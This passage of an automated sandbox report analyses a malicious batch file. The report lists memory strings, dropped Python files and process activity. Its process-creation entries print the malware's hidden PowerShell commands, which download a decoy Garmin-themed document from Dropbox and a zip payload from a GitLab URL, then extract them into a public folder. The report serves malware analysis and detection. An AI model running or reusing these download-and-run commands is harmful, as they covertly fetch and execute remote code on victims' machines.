Source: powershell.exe, 0000000C.00000002.1411569781.000001C5A96C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.do
Source: powershell.exe, 0000000C.00000002.1431093242.000001C5C3610000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/garmin_campaign_information_for_partners_v12.do
Source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/zua9grfav23fqe
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: https://www.python.org/psf/)
Source: python312.dll.19.dr	String found in binary or memory: https://www.python.org/psf/license/
Source: python312.dll.19.dr	String found in binary or memory: https://www.python.org/psf/license/)
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org:
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49736 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\pythonw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python312.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python3.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_00007FF887D36321

12_2_00007FF887D36321

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Document\python.exe 624BBC0586D8855633B875E911883BBEF8A0E8B8711E11126DF480DD86F54181
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Document\python3.dll A59487EA2C8723277F4579067248836B216A801C2152EFB19AFEE4AC9785D6FB

Source: pythonw.exe.19.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.19.dr

Static PE information: No import functions for PE file found

Source: classification engine

Classification label: mal92.troj.evad.winBAT@28/23@3/2

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3irhgmty.j1v.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\chcp.com

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hnghksdjfhs19De.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\hnghksdjfhs19De.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\hnghksdjfhs19De.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

